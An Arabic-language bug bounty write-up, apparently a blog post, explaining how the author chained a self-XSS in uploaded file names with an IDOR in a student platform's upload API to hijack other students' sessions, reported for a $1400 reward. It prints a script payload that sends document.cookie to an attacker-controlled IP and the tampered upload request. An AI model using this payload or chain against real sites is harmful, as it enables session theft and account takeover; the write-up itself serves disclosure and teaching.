Blog Wallpaper
A
Ahmed Najehالجمعة، 27 يونيو 2025

ربط استغلال بين Self-XSS وIDOR أدت إلى Account Takeover – مكافأة 1400$

منذ شهرين تقريبا

Area Iconالأمن السيبراني - صيد الثغرات

🎯 المقدمة

في هذا التقرير أشرح كيف تمكنت من تنفيذ Account Takeover داخل منصة طلابية، عن طريق سلسلة من الثغرات بدأت بـ Self-XSS وانتهت بـ IDOR.

النتيجة كانت اختراق حسابات طلاب آخرين من خلال سرقة الجلسة.


🧪 الخطوة 1: اكتشاف Self-XSS في اسم الملف

أثناء اختبار خاصية رفع الملفات داخل حساب الطالب، قمت برفع ملف باسم يحتوي على كود JavaScript مثل:

"><script>new Image().src='http://<ip>/?c='+document.cookie</script>

لاحظت أن اسم الملف يتم عرضه داخل صفحة الواجهة بدون فلترة، مما أدى إلى تنفيذ الكود في المتصفح.

لكن هذه الثغرة تعتبر Self-XSS، لأن الكود يتم تنفيذه فقط داخل حسابي، ولا يُمكن استغلاله على الآخرين مباشرة.


🔍 الخطوة 2: اكتشاف IDOR في عملية رفع الملفات

واصلت تحليل النظام، وركّزت على عملية رفع الملفات داخل حساب الطالب.

ما وجدته:

عند إرسال طلب رفع ملف، يحتوي على StudentEID لتحديد الحساب المستهدف.

POST /api/student/upload
StudentEID: 12345
File: exploit.png

قمت بتجربة تعديل رقم StudentEID إلى رقم طالب آخر، وتم رفع الملف بنجاح داخل حسابه، بدون تحقق من الصلاحيات!


🔗 الخطوة 3: الدمج بين Self-XSS وIDOR

هنا جاءت الفكرة:

  1. استخدمت ثغرة IDOR لرفع ملف إلى حساب طالب آخر.
  2. اسم الملف كان يحتوي على كود JavaScript يسرق الكوكي.
  3. عندما يدخل الطالب المستهدف إلى حسابه، سيتم تحميل الاسم داخل DOM مباشرة، مما يؤدي إلى تنفيذ الكود داخل متصفحه.

وبالتالي حصلت على:

جلسة الطالب (Session Cookie)
تحكم كامل بالحساب


🧾 النتيجة النهائية

  • تم تنفيذ Account Takeover من خلال سلسلة:
    • Self-XSS ← IDOR ← Session Hijacking
  • الثغرات تم الإبلاغ عنها بنجاح.
  • تم منحي مكافأة مالية بقيمة 1400$ عبر برنامج Bug Bounty.

📌 ملاحظات أمنية

  • لا تستهين بـ Self-XSS، خصوصًا إذا كانت هناك ثغرات أخرى يمكن دمجها معها.
  • تحقق دائمًا من ملكية المستخدم عند التعامل مع عمليات مثل رفع الملفات.
  • لا تُعرض أسماء الملفات مباشرة داخل HTML دون فلترة أو Encoding.

Happy Hacking 👨‍💻🔥